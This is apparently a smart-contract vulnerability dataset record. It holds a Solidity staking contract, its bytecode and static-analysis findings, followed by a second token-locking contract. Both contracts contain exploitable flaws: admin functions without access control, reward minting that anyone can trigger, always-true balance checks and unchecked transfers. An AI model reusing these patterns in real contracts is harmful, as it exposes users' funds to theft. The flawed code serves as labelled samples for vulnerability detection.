swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function getPair(address tokenA, address tokenB) external view returns (address pair); function WETH() external pure returns (address); } interface Pool{ function primary() external view returns (address); } contract Poolable{ address payable internal constant _POOLADDRESS = 0x6fe6403080A3f80Da00387224E7846E1239DEC26; function primary() private view returns (address) { return Pool(_POOLADDRESS).primary(); } modifier onlyPrimary() { require(msg.sender == primary(), "Caller is not primary"); _; } } contract Staker is Poolable{ using SafeMath for uint256; uint constant internal DECIMAL = 10**18; uint constant public INF = 33136721748; uint private _rewardValue = 10**18; mapping (address => uint256) public timePooled; mapping (address => uint256) private internalTime; mapping (address => uint256) private LPTokenBalance; mapping (address => uint256) private rewards; mapping (address => uint256) private referralEarned; address public ast3Address; address constant public UNIROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address constant public FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public WETHAddress = Uniswap(UNIROUTER).WETH(); bool private _unchangeable = false; bool private _tokenAddressGiven = false; receive() external payable { if(msg.sender != UNIROUTER){ stake(msg.sender, address(0)); } } function sendValue(address payable recipient, uint256 amount) internal { (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } //If true, no changes can be made function unchangeable() public view returns (bool){ return _unchangeable; } function rewardValue() public view returns (uint){ return _rewardValue; } //THE ONLY ADMIN FUNCTIONS vvvv //After this is called, no changes can be made function makeUnchangeable() public{ _unchangeable = true; } //Can only be called once to set token address function setTokenAddress(address input) public{ require(!_tokenAddressGiven, "Function was already called"); _tokenAddressGiven = true; ast3Address = input; } //Set reward value that has high APY, can't be called if makeUnchangeable() was called function updateRewardValue(uint input) public { require(!unchangeable(), "makeUnchangeable() function was already called"); _rewardValue = input; } //THE ONLY ADMIN FUNCTIONS ^^^^ function stake(address staker, address payable ref) public payable{ staker = msg.sender; if(ref != address(0)){ referralEarned[ref] = referralEarned[ref] + ((address(this).balance/10)*DECIMAL)/price(); } sendValue(_POOLADDRESS, address(this).balance/2); address poolAddress = Uniswap(FACTORY).getPair(ast3Address, WETHAddress); uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap uint tokenAmount = IERC20(ast3Address).balanceOf(poolAddress); //token in uniswap uint toMint = (address(this).balance.mul(tokenAmount)).div(ethAmount); IERC20(ast3Address).mint(address(this), toMint); uint poolTokenAmountBefore = IERC20(poolAddress).balanceOf(address(this)); uint amountTokenDesired = IERC20(ast3Address).balanceOf(address(this)); IERC20(ast3Address).approve(UNIROUTER, amountTokenDesired ); //allow pool to get tokens Uniswap(UNIROUTER).addLiquidityETH{ value: address(this).balance }(ast3Address, amountTokenDesired, 1, 1, address(this), INF); uint poolTokenAmountAfter = IERC20(poolAddress).balanceOf(address(this)); uint poolTokenGot = poolTokenAmountAfter.sub(poolTokenAmountBefore); rewards[staker] = rewards[staker].add(viewRecentRewardTokenAmount(staker)); timePooled[staker] = now; internalTime[staker] = now; LPTokenBalance[staker] = LPTokenBalance[staker].add(poolTokenGot); } function withdrawLPTokens(uint amount) public { require(timePooled[msg.sender] + 8 hours <= now, "It has not been 8 hours since you staked yet"); rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender)); LPTokenBalance[msg.sender] = LPTokenBalance[msg.sender].sub(amount); address poolAddress = Uniswap(FACTORY).getPair(ast3Address, WETHAddress); IERC20(poolAddress).transfer(msg.sender, amount); internalTime[msg.sender] = now; } function withdrawRewardTokens(uint amount) public { require(timePooled[msg.sender] + 8 hours <= now, "It has not been 8 hours since you staked yet"); rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender)); internalTime[msg.sender] = now; uint removeAmount = ethtimeCalc(amount)/2; rewards[msg.sender] = rewards[msg.sender].sub(removeAmount); IERC20(ast3Address).mint(msg.sender, amount); } function withdrawReferralEarned(uint amount) public{ require(timePooled[msg.sender] != 0, "You have to stake at least a little bit to withdraw referral rewards"); require(timePooled[msg.sender] + 8 hours <= now, "It has not been 8 hours since you staked yet"); referralEarned[msg.sender] = referralEarned[msg.sender].sub(amount); IERC20(ast3Address).mint(msg.sender, amount); } function viewRecentRewardTokenAmount(address who) internal view returns (uint){ return (viewPooledEthAmount(who).mul( now.sub(internalTime[who]) )); } function viewRewardTokenAmount(address who) public view returns (uint){ return earnCalc( rewards[who].add(viewRecentRewardTokenAmount(who))*2 ); } function viewLPTokenAmount(address who) public view returns (uint){ return LPTokenBalance[who]; } function viewPooledEthAmount(address who) public view returns (uint){ address poolAddress = Uniswap(FACTORY).getPair(ast3Address, WETHAddress); uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap return (ethAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply()); } function viewPooledTokenAmount(address who) public view returns (uint){ address poolAddress = Uniswap(FACTORY).getPair(ast3Address, WETHAddress); uint tokenAmount = IERC20(ast3Address).balanceOf(poolAddress); //token in uniswap return (tokenAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply()); } function viewReferralEarned(address who) public view returns (uint){ return referralEarned[who]; } function price() public view returns (uint){ address poolAddress = Uniswap(FACTORY).getPair(ast3Address, WETHAddress); uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap uint tokenAmount = IERC20(ast3Address).balanceOf(poolAddress); //token in uniswap return (DECIMAL.mul(ethAmount)).div(tokenAmount); } function earnCalc(uint ethTime) public view returns(uint){ return ( rewardValue().mul(ethTime) ) / ( 31557600 * DECIMAL ); } function ethtimeCalc(uint Ast3) internal view returns(uint){ return ( Ast3.mul(31557600 * DECIMAL) ).div( rewardValue() ); } }
0x6080604052600436106101395760003560e01c80638439a541116100ab578063b1fd67401161006f578063b1fd6740146103c4578063cb43b2dd146103f7578063d28de27314610421578063d488ebe814610436578063e42255d814610469578063e91ed7c91461049c57610166565b80638439a5411461031c5780638d301f99146103465780639d2a679f14610370578063a035b1fe14610385578063a064b44b1461039a57610166565b8063452d003f116100fd578063452d003f1461023e578063475d8733146102685780634caacd751461027d5780636dc64a02146102a65780637beebb0e146102d9578063808615ac146102ee57610166565b80630af88b241461016b57806312c7df731461019c57806326a4e8d2146101c357806329b83c2e146101f65780632dd310001461022957610166565b366101665733737a250d5630b4cf539739df2c5dacb4c659f2488d14610164576101643360006104cf565b005b600080fd5b34801561017757600080fd5b50610180610abf565b604080516001600160a01b039092168252519081900360200190f35b3480156101a857600080fd5b506101b1610ace565b60408051918252519081900360200190f35b3480156101cf57600080fd5b50610164600480360360208110156101e657600080fd5b50356001600160a01b0316610ad4565b34801561020257600080fd5b506101b16004803603602081101561021957600080fd5b50356001600160a01b0316610b69565b34801561023557600080fd5b50610180610b7b565b34801561024a57600080fd5b506101646004803603602081101561026157600080fd5b5035610b93565b34801561027457600080fd5b50610164610d6c565b34801561028957600080fd5b50610292610d81565b604080519115158252519081900360200190f35b3480156102b257600080fd5b506101b1600480360360208110156102c957600080fd5b50356001600160a01b0316610d91565b3480156102e557600080fd5b50610180610dac565b6101646004803603604081101561030457600080fd5b506001600160a01b03813581169160200135166104cf565b34801561032857600080fd5b506101646004803603602081101561033f57600080fd5b5035610dbb565b34801561035257600080fd5b506101646004803603602081101561036957600080fd5b5035610e04565b34801561037c57600080fd5b506101b1610f3b565b34801561039157600080fd5b506101b1610f44565b3480156103a657600080fd5b506101b1600480360360208110156103bd57600080fd5b50356110fc565b3480156103d057600080fd5b506101b1600480360360208110156103e757600080fd5b50356001600160a01b031661112a565b34801561040357600080fd5b506101646004803603602081101561041a57600080fd5b50356112d1565b34801561042d57600080fd5b50610180611402565b34801561044257600080fd5b506101b16004803603602081101561045957600080fd5b50356001600160a01b031661141a565b34801561047557600080fd5b506101b16004803603602081101561048c57600080fd5b50356001600160a01b0316611458565b3480156104a857600080fd5b506101b1600480360360208110156104bf57600080fd5b50356001600160a01b0316611545565b3391506001600160a01b03811615610522576104e9610f44565b670de0b6b3a7640000600a470402816104fe57fe5b6001600160a01b038316600090815260056020526040902080549290910490910190555b610543736fe6403080a3f80da00387224e7846e1239dec2660024704611560565b6006546007546040805163e6a4390560e01b81526001600160a01b03938416600482015292909116602483015251600091735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a4390591604480820192602092909190829003018186803b1580156105b057600080fd5b505afa1580156105c4573d6000803e3d6000fd5b505050506040513d60208110156105da57600080fd5b5051600754604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561062f57600080fd5b505afa158015610643573d6000803e3d6000fd5b505050506040513d602081101561065957600080fd5b5051600654604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b1580156106ae57600080fd5b505afa1580156106c2573d6000803e3d6000fd5b505050506040513d60208110156106d857600080fd5b5051905060006106f2836106ec47856115f5565b90611655565b600654604080516340c10f1960e01b81523060048201526024810184905290519293506001600160a01b03909116916340c10f199160448082019260009290919082900301818387803b15801561074857600080fd5b505af115801561075c573d6000803e3d6000fd5b505050506000846001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156107af57600080fd5b505afa1580156107c3573d6000803e3d6000fd5b505050506040513d60208110156107d957600080fd5b5051600654604080516370a0823160e01b815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561082c57600080fd5b505afa158015610840573d6000803e3d6000fd5b505050506040513d602081101561085657600080fd5b50516006546040805163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201526024810184905290519293506001600160a01b039091169163095ea7b3916044808201926020929091908290030181600087803b1580156108c357600080fd5b505af11580156108d7573d6000803e3d6000fd5b505050506040513d60208110156108ed57600080fd5b50506006546040805163f305d71960e01b81526001600160a01b0390921660048301526024820183905260016044830181905260648301523060848301526407b71a3f5460a483015251737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d71991479160c48082019260609290919082900301818588803b15801561097657600080fd5b505af115801561098a573d6000803e3d6000fd5b50505050506040513d60608110156109a157600080fd5b5050604080516370a0823160e01b815230600482015290516000916001600160a01b038916916370a0823191602480820192602092909190829003018186803b1580156109ed57600080fd5b505afa158015610a01573d6000803e3d6000fd5b505050506040513d6020811015610a1757600080fd5b505190506000610a278285611697565b9050610a54610a358b6116d9565b6001600160a01b038c166000908152600460205260409020549061170a565b6001600160a01b038b166000908152600460209081526040808320939093556001815282822042908190556002825283832055600390522054610a97908261170a565b6001600160a01b03909a16600090815260036020526040902099909955505050505050505050565b6007546001600160a01b031681565b60005490565b600754600160a81b900460ff1615610b33576040805162461bcd60e51b815260206004820152601b60248201527f46756e6374696f6e2077617320616c72656164792063616c6c65640000000000604482015290519081900360640190fd5b6007805460ff60a81b1916600160a81b179055600680546001600160a01b039092166001600160a01b0319909216919091179055565b60016020526000908152604090205481565b735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b33600090815260016020526040902054426170809091011115610be75760405162461bcd60e51b815260040180806020018281038252602c815260200180611901602c913960400191505060405180910390fd5b610c09610bf3336116d9565b336000908152600460205260409020549061170a565b33600090815260046020908152604080832093909355600390522054610c2f9082611697565b33600090815260036020908152604080832093909355600654600754845163e6a4390560e01b81526001600160a01b0392831660048201529116602482015292519192735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9263e6a4390592604480840193919291829003018186803b158015610cab57600080fd5b505afa158015610cbf573d6000803e3d6000fd5b505050506040513d6020811015610cd557600080fd5b50516040805163a9059cbb60e01b81523360048201526024810185905290519192506001600160a01b0383169163a9059cbb916044808201926020929091908290030181600087803b158015610d2a57600080fd5b505af1158015610d3e573d6000803e3d6000fd5b505050506040513d6020811015610d5457600080fd5b50503360009081526002602052604090204290555050565b6007805460ff60a01b1916600160a01b179055565b600754600160a01b900460ff1690565b6001600160a01b031660009081526005602052604090205490565b6006546001600160a01b031681565b610dc3610d81565b15610dff5760405162461bcd60e51b815260040180806020018281038252602e81526020018061194e602e913960400191505060405180910390fd5b600055565b33600090815260016020526040902054610e4f5760405162461bcd60e51b81526004018080602001828103825260448152602001806118836044913960600191505060405180910390fd5b33600090815260016020526040902054426170809091011115610ea35760405162461bcd60e51b815260040180806020018281038252602c815260200180611901602c913960400191505060405180910390fd5b33600090815260056020526040902054610ebd9082611697565b336000818152600560205260408082209390935560065483516340c10f1960e01b815260048101939093526024830185905292516001600160a01b03909316926340c10f1992604480820193929182900301818387803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b5050505050565b6407b71a3f5481565b6006546007546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b158015610fb257600080fd5b505afa158015610fc6573d6000803e3d6000fd5b505050506040513d6020811015610fdc57600080fd5b5051600754604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561103157600080fd5b505afa158015611045573d6000803e3d6000fd5b505050506040513d602081101561105b57600080fd5b5051600654604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b1580156110b057600080fd5b505afa1580156110c4573d6000803e3d6000fd5b505050506040513d60208110156110da57600080fd5b505190506110f4816106ec670de0b6b3a7640000856115f5565b935050505090565b60006a1a1a94ec861d5c3380000061111c83611116610ace565b906115f5565b8161112357fe5b0492915050565b6006546007546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b15801561119857600080fd5b505afa1580156111ac573d6000803e3d6000fd5b505050506040513d60208110156111c257600080fd5b5051600754604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561121757600080fd5b505afa15801561122b573d6000803e3d6000fd5b505050506040513d602081101561124157600080fd5b5051604080516318160ddd60e01b815290519192506112c9916001600160a01b038516916318160ddd916004808301926020929190829003018186803b15801561128a57600080fd5b505afa15801561129e573d6000803e3d6000fd5b505050506040513d60208110156112b457600080fd5b50516106ec6112c287611545565b84906115f5565b949350505050565b336000908152600160205260409020544261708090910111156113255760405162461bcd60e51b815260040180806020018281038252602c815260200180611901602c913960400191505060405180910390fd5b611331610bf3336116d9565b336000908152600460209081526040808320939093556002908190529181204290559061135d83611764565b8161136457fe5b3360009081526004602052604090205491900491506113839082611697565b3360008181526004602081905260408083209490945560065484516340c10f1960e01b8152918201939093526024810186905292516001600160a01b03909216926340c10f19926044808301939282900301818387803b1580156113e657600080fd5b505af11580156113fa573d6000803e3d6000fd5b505050505050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b600061145261144a61142b846116d9565b6001600160a01b0385166000908152600460205260409020549061170a565b6002026110fc565b92915050565b6006546007546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b1580156114c657600080fd5b505afa1580156114da573d6000803e3d6000fd5b505050506040513d60208110156114f057600080fd5b5051600654604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561121757600080fd5b6001600160a01b031660009081526003602052604090205490565b6040516000906001600160a01b0384169083908381818185875af1925050503d80600081146115ab576040519150601f19603f3d011682016040523d82523d6000602084013e6115b0565b606091505b50509050806115f05760405162461bcd60e51b815260040180806020018281038252603a8152602001806118c7603a913960400191505060405180910390fd5b505050565b60008261160457506000611452565b8282028284828161161157fe5b041461164e5760405162461bcd60e51b815260040180806020018281038252602181526020018061192d6021913960400191505060405180910390fd5b9392505050565b600061164e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611786565b600061164e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611828565b6001600160a01b03811660009081526002602052604081205461145290611701904290611697565b6111168461112a565b60008282018381101561164e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611452611771610ace565b6106ec846a1a1a94ec861d5c338000006115f5565b600081836118125760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156117d75781810151838201526020016117bf565b50505050905090810190601f1680156118045780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161181e57fe5b0495945050505050565b6000818484111561187a5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156117d75781810151838201526020016117bf565b50505090039056fe596f75206861766520746f207374616b65206174206c656173742061206c6974746c652062697420746f20776974686472617720726566657272616c2072657761726473416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d61792068617665207265766572746564497420686173206e6f74206265656e203820686f7572732073696e636520796f75207374616b656420796574536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f776d616b65556e6368616e676561626c6528292066756e6374696f6e2077617320616c72656164792063616c6c6564a26469706673582212202e11ae37c89992c4c84b7c34ebdcca079517c016b88637244f9d6a8194fb6d7064736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,237
0xE624193e9bAc1ffF2764618BeF14bA7f41327644
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{value:amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } contract ReentrancyGuard { bool private _notEntered; constructor () internal { _notEntered = true; } modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } interface IRewardsDistributionRecipient { // function notifyRewardAmount(uint256 reward) external; function getRewardToken() external view returns (IERC20); } abstract contract RewardsDistributionRecipient is IRewardsDistributionRecipient { // @abstract // function notifyRewardAmount(uint256 reward) external; function getRewardToken() external virtual override view returns (IERC20); // This address has the ability to distribute the rewards address public rewardsDistributor; /** @dev Recipient is a module, governed by mStable governance */ constructor(address _rewardsDistributor) internal { rewardsDistributor = _rewardsDistributor; } /** * @dev Only the rewards distributor can notify about rewards */ modifier onlyRewardsDistributor() { require(msg.sender == rewardsDistributor, "Caller is not reward distributor"); _; } } library StableMath { using SafeMath for uint256; uint256 private constant FULL_SCALE = 1e18; uint256 private constant RATIO_SCALE = 1e8; function getFullScale() internal pure returns (uint256) { return FULL_SCALE; } function getRatioScale() internal pure returns (uint256) { return RATIO_SCALE; } function scaleInteger(uint256 x) internal pure returns (uint256) { return x.mul(FULL_SCALE); } function mulTruncate(uint256 x, uint256 y) internal pure returns (uint256) { return mulTruncateScale(x, y, FULL_SCALE); } function mulTruncateScale(uint256 x, uint256 y, uint256 scale) internal pure returns (uint256) { // e.g. assume scale = fullScale // z = 10e18 * 9e17 = 9e36 uint256 z = x.mul(y); // return 9e38 / 1e18 = 9e18 return z.div(scale); } function mulTruncateCeil(uint256 x, uint256 y) internal pure returns (uint256) { // e.g. 8e17 * 17268172638 = 138145381104e17 uint256 scaled = x.mul(y); // e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17 uint256 ceil = scaled.add(FULL_SCALE.sub(1)); // e.g. 13814538111.399...e18 / 1e18 = 13814538111 return ceil.div(FULL_SCALE); } function divPrecisely(uint256 x, uint256 y) internal pure returns (uint256) { // e.g. 8e18 * 1e18 = 8e36 uint256 z = x.mul(FULL_SCALE); // e.g. 8e36 / 10e18 = 8e17 return z.div(y); } function mulRatioTruncate(uint256 x, uint256 ratio) internal pure returns (uint256 c) { return mulTruncateScale(x, ratio, RATIO_SCALE); } function mulRatioTruncateCeil(uint256 x, uint256 ratio) internal pure returns (uint256) { // e.g. How much mAsset should I burn for this bAsset (x)? // 1e18 * 1e8 = 1e26 uint256 scaled = x.mul(ratio); // 1e26 + 9.99e7 = 100..00.999e8 uint256 ceil = scaled.add(RATIO_SCALE.sub(1)); // return 100..00.999e8 / 1e8 = 1e18 return ceil.div(RATIO_SCALE); } function divRatioPrecisely(uint256 x, uint256 ratio) internal pure returns (uint256 c) { // e.g. 1e14 * 1e8 = 1e22 uint256 y = x.mul(RATIO_SCALE); // return 1e22 / 1e12 = 1e10 return y.div(ratio); } function min(uint256 x, uint256 y) internal pure returns (uint256) { return x > y ? y : x; } function max(uint256 x, uint256 y) internal pure returns (uint256) { return x > y ? x : y; } function clamp(uint256 x, uint256 upperBound) internal pure returns (uint256) { return x > upperBound ? upperBound : x; } } contract Kohai is IERC20, Context { using StableMath for uint256; using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; IERC20 public token = IERC20(0x5a705745373a780814c379Ef17810630D529EFE0); uint256 public lockRate = 2; string private _symbol; string private _name; uint256 private _decimals = 18; uint256 public cap = 42000000 * 1e18; address _owner = msg.sender; modifier onlyOwner(){ require(msg.sender == _owner); _; } constructor () public { _name = 'Kohai'; _symbol = 'KOHAI'; _totalSupply = 100 * 1e18; _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint256) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(recipient != address(this), "ERC20: transfer to the contract address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } address public owner; mapping(address => uint256) public lockingTimeStarts; mapping(address => uint256) public lockingTimeEnds; mapping(address => uint256) public lockedAmount; // Amount the user has staked uint256 public totalLocked = 0; event Locked(address indexed user, uint256 amount); /*************************************** MODIFIERS ****************************************/ modifier isAccount(address _account) { require(!Address.isContract(_account), "Only external owned accounts allowed"); _; } /*************************************** ACTIONS ****************************************/ /**************************** LOCK ****************************/ function lock(uint256 amount) external { require(lockingTimeStarts[msg.sender] == 0, 'you have already locked your tokens'); token.transferFrom(msg.sender, address(this), amount); lockingTimeStarts[msg.sender] = block.timestamp; lockingTimeEnds[msg.sender] = block.timestamp + 2592000; lockedAmount[msg.sender] = amount; totalLocked = totalLocked.add(amount); emit Locked(msg.sender, amount); } function addLiquidity(uint256 amount) external { require(lockedAmount[msg.sender] >= 0, 'you have not locked anything'); _harvest(msg.sender); token.transferFrom(msg.sender, address(this), amount); lockedAmount[msg.sender] = lockedAmount[msg.sender].add(amount); lockingTimeStarts[msg.sender] = block.timestamp; lockingTimeEnds[msg.sender] = block.timestamp + 2592000; totalLocked = totalLocked.add(amount); emit Locked(msg.sender, amount); } function unlock() external{ require(lockedAmount[msg.sender] >= 0, 'you have not locked anything'); require (block.timestamp >= lockingTimeEnds[msg.sender], 'Locking time still remains'); token.transfer(msg.sender, lockedAmount[msg.sender]); _harvest(msg.sender); lockingTimeStarts[msg.sender] = 0; lockingTimeEnds[msg.sender] = 0; totalLocked = totalLocked.sub(lockedAmount[msg.sender]); lockedAmount[msg.sender] = 0; } function harvest() external{ _harvest(msg.sender); lockingTimeStarts[msg.sender] = block.timestamp; lockingTimeEnds[msg.sender] = block.timestamp + 2592000; } function _harvest(address sender) internal{ require(lockedAmount[sender] >= 0, 'you have not locked anything'); uint256 locktime = block.timestamp.sub(lockingTimeStarts[sender]); uint256 reward = lockedAmount[sender].mul(lockRate).mul(locktime).div(2592000); mint(sender, reward); } function myReward(address sender) external view returns (uint256) { require(lockedAmount[sender] >= 0, 'you have not locked anything'); uint256 locktime = block.timestamp.sub(lockingTimeStarts[sender]); uint256 reward = lockedAmount[sender].mul(lockRate).mul(locktime).div(2592000); return reward; } function myLockedPeriod(address sender) external view returns (uint256) { require(lockedAmount[sender] >= 0, 'you have not locked anything'); uint256 locktime = block.timestamp.sub(lockingTimeStarts[sender]); return locktime; } /*************************************** ADMIN ****************************************/ function mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function burn(uint256 amount) external{ _burn(msg.sender, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _beforeTokenTransfer(address from, uint256 amount) internal view virtual { if (from == address(0)) { // When minting tokens require(totalSupply().add(amount) <= cap, "ERC20Capped: cap exceeded"); } } }
